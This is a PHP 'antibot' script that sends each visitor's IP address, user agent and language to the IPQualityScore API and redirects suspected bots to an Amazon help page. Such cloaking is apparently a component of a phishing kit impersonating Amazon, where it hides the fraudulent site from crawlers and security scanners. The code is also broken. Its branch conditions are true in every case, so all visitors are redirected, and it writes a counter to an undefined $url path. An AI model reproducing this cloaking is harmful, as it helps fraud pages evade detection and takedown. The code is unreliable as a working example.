<?php
// Read the settings.ini file
$config = parse_ini_file("settings.ini");

// Ensure the ipq_key exists in the config
if (isset($config['ipq_key'])) {
    $config_antibot = trim($config['ipq_key']);
    
    // Define the function to get the user's IP address
    function getUserIP()
    {
        $client  = @$_SERVER['HTTP_CLIENT_IP'];
        $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
        $remote  = $_SERVER['REMOTE_ADDR'];
        
        if (filter_var($client, FILTER_VALIDATE_IP)) {
            $ip = $client;
        } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
            $ip = $forward;
        } else {
            $ip = $remote;
        }

        return $ip;
    }

    // Define the function to detect if the user is a bot using IP Quality Score API
    function detectByIpQuality($apikey, $ip, $ua, $ue) {
        $strictness = 1;
        $allow_public_access_points = 'true';
        $lighter_penalties = 'false';

        // Parameters for the API request
        $parameters = array(
            'user_agent' => $ua,
            'user_language' => $ue,
            'strictness' => $strictness,
            'allow_public_access_points' => $allow_public_access_points,
            'lighter_penalties' => $lighter_penalties
        );

        // Format Parameters
        $formatted_parameters = http_build_query($parameters);

        // Construct the API URL
        $url = sprintf(
            'https://www.ipqualityscore.com/api/json/ip/%s/%s?%s', 
            $apikey,
            $ip,
            $formatted_parameters
        );

        // Timeout
        $timeout = 5;

        // Curl Start
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $timeout);

        // Execute the cURL request
        $json = curl_exec($curl);
        curl_close($curl);

        // Decode the JSON response
        $result = json_decode($json, true);

        return $result;
    }

    // Get the user's IP address
    $ip = getUserIP();
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $user_language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];  // Or define your language preference

    // Check if antibot check has not been performed yet
    if ($_SESSION['ipq_wasChecked'] == false || !isset($_SESSION['ipq_wasChecked'])) {
        // Use IP Quality Score's bot detection
        $fraud_score = detectByIpQuality($config_antibot, $ip, $user_agent, $user_language);
        
        // If fraud score is high or detected as a proxy/VPN, block the user
        if (($fraud_score["fraud_score"] >= 75 && $fraud_score["proxy"] === true && $fraud_score["vpn"] === true) || 
            ($fraud_score["fraud_score"] < 75 && $fraud_score["proxy"] === false && $fraud_score["vpn"] === false)) {
            
            // Increment bot counter in the file
            if (!file_exists($url)) {   
                file_put_contents($url, 1);
            } else {
                file_put_contents($url, file_get_contents($url) + 1);
            }
            
            // Redirect the bot to a page (e.g., Amazon help page)
            header("location: https://www.amazon.com/gp/help/customer/display.html");
            exit();
        } elseif ($fraud_score["is_crawler"] == true || $fraud_score["is_crawler"] == false) {
            
            // Increment bot counter in the file
            if (!file_exists($url)) {   
                file_put_contents($url, 1);
            } else {
                file_put_contents($url, file_get_contents($url) + 1);
            }

            // Redirect the bot to a page (e.g., Amazon help page)
            header("location: https://www.amazon.com/gp/help/customer/display.html");
            exit();
        } elseif ($fraud_score["bot_status"] == true || $fraud_score["bot_status"] == false) {

            // Increment bot counter in the file
            if (!file_exists($url)) {   
                file_put_contents($url, 1);
            } else {
                file_put_contents($url, file_get_contents($url) + 1);
            }

            // Redirect the bot to a page (e.g., Amazon help page)
            header("location: https://www.amazon.com/gp/help/customer/display.html");
            exit();
        }

        // Mark that the antibot check has been performed
        $_SESSION['ipq_wasChecked'] = true;
    }
}
?>
